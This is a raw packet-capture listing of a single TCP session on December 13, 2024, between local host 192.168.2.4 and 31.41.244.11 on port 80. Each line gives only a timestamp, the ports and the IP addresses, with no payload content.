Dec 13, 2024 01:51:30.568445921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.568455935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.568512917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.569389105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.569442987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.569513083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.569560051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.570368052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.570415974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.570478916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.570528030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.571468115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.571542978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.571594954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.572348118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.572400093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.572469950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.572520971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.573331118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.573385954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.573445082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.573496103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.574337006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.574382067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.574451923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.574507952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.575356007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.575472116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.575525999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.576319933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.576375008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.576431036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.576479912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.577322006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.577425003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.577477932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.578325033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.578376055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.578433037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.578480005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.579330921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.579385042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.579442024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.579490900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.580316067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.580362082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.580389977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.580440044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.581315041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.581362963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.581568003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.581621885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.582361937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.582406998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.582433939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.582483053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.583343983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.583448887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.583506107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.584290028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.584340096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.584405899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.584454060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.585318089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.585377932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.585438013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.585489988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.586285114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.586343050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.586405993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.586457968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.587301016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.587413073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.587466955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.588273048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.588327885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.588383913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.588484049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.589268923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.589349031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.589399099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.589449883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.590274096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.590322018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.590390921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.590435982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.591252089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.591389894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.591444969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.592267990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.592327118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.592396021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.592443943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.593271017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.593326092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.593394995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.593441963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.594254971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.594310045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.594372988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.594420910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.595271111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.595406055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.595458984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.596267939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.596319914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.596434116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.596487045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.597253084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.597304106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.597367048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.597414970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.598241091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.598290920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.598346949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.598395109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.599246025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.599380970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.599433899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.600235939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.600286961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.600351095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.600398064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.601254940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.601305008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.601368904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.601416111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.602240086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.602294922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.602359056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.602406025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.603240013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.603363037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.603413105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.604248047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.604295969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.604366064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.604413986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.605246067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.605299950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.605357885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.605406046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.606214046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.606276989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.606332064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.606379986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.607217073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.607336044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.607384920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.608222008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.608272076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.608341932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.608386993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.609220028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.609268904 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.609324932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.609410048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.610207081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.610255003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.610322952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.610367060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.611201048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.611342907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.611399889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.612190962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.612238884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.612307072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.612354040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.613151073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.613199949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.753175020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.753319979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.753607988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.753801107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.753859997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.753879070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.754451990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.754515886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.754547119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.754590988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.755191088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.755291939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.755378962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.755476952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.756151915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.756211042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.756287098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.756531954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.757152081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.757209063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.757282019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.757332087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.758162975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.758224010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.758285999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.758326054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.759207964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.759262085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.759305954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.759357929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.760143995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.760205984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.760251999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.760301113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.761137962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.761189938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.761225939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.761275053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.762120008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.762175083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.762248993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.762298107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.763122082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.763214111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.763263941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.763360977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.764156103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.764197111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.764245987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.764293909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.765177965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.765237093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.765290976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.765407085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.766133070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.766200066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.766256094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.766442060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.767108917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.767214060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.767271042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.768094063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.768157005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.768219948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.768270016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.769114017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.769169092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.769224882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.769273043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.770106077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.770246983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.770299911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.771127939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.771230936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.771281958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.771693945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.772147894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.772202015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.772222042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.772272110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.773127079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.773185968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.773245096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.773336887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.774075031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.774122953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.774182081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.774245024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.775120020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.775249958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.775330067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.776087999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.776159048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.776223898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.776273012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.777084112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.777138948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.777220011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.777267933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.778059006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.778194904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.778255939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.779072046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.779145002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.779201031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.779277086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.780065060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.780122995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.780184031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.780383110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.781080008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.781187057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.781213999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.781263113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.782114983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.782233000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.782253027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.782411098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.783057928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.783138037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.783194065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.783243895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.784058094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.784126043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.784188032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.784276962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.785063982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.785118103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.785190105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.785240889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.786047935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.786111116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.786173105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.786222935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.787039995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.787090063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.787146091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.787206888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.788039923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.788120985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.788206100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.788295031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.789047003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.789105892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.789171934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.789422989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.790028095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.790157080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.790214062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.791038036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.791112900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.791163921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.791210890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.792013884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.792073011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.792175055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.792223930 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.793025970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.793075085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.793153048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.793201923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.794018030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.794080973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.794158936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.794301987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.795017958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.795078039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.795141935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:30.795192003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:30.796082973 CET	80	49809	31.41.244.11	192.168.2.4
